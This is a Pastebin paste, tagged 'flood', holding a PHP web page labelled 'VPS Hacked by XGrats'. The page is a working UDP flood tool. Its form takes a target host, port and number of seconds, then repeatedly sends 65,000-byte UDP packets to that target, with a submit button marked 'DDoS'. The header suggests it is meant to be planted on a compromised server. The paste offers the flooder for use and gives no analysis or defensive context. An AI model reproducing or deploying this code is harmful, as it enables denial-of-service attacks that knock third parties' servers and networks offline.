Advertisement
X-Grats

Untitled

Oct 30th, 2023
46
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.50 KB | Cybersecurity | 0 0
  1. <html>
  2. <body>
  3. <center>
  4. <pre>
  5. _-_-_-VPS Hacked by XGrats-_-_-_</pre>
  6. <?php
  7. if(isset($_GET['host'])&&isset($_GET['time'])){
  8. $packets = 0;
  9. ignore_user_abort(TRUE);
  10. set_time_limit(0);
  11.  
  12. $exec_time = $_GET['time'];
  13.  
  14. $time = time();
  15.  
  16. $max_time = $time+$exec_time;
  17.  
  18. $host = $_GET['host'];
  19.  
  20. for($i=0;$i<65000;$i++){
  21. $out .= 'X';
  22. }
  23. while(1){
  24. $packets++;
  25. if(time() > $max_time){
  26. break;
  27. }
  28. //$rand = rand(1,65535);
  29. $rand = $_GET['port'];
  30. $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  31. if($fp){
  32. fwrite($fp, $out);
  33. fclose($fp);
  34. }
  35. }
  36. echo "<br><b>UDP Flood</b><br>Completed with " . round(($packets*65)/1024, 2) . " MB of data sent, averaging " . round(($packets*65)/1024/$time, 2) . "megabytes a second.";
  37. echo '<br><br>
  38. <form action="'.$surl.'" method=GET>
  39. <input type="hidden" name="act" value="phptools">
  40. Host: <br><input type=text name=host><br>
  41. Port: <br><input type=text name=port value=80><br>
  42. Seconds: <br><input type=text name=time value=120><br>
  43. <input type=submit value=Go></form>';
  44. }else{ echo '<br><b>UDP Flood</b><br>
  45. <form action=? method=GET>
  46. <input type="hidden" name="act" value="phptools">
  47. Host: <br><input type=text name=host value=><br>
  48. Port: <br><input type=text name=port value=80><br>
  49. Seconds: <br><input type=text name=time value=120><br><br>
  50. <input type=submit value=DDoS></form>';
  51. }
  52. ?>
  53. </center>
  54. </body>
  55. </html>
Tags: flood
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement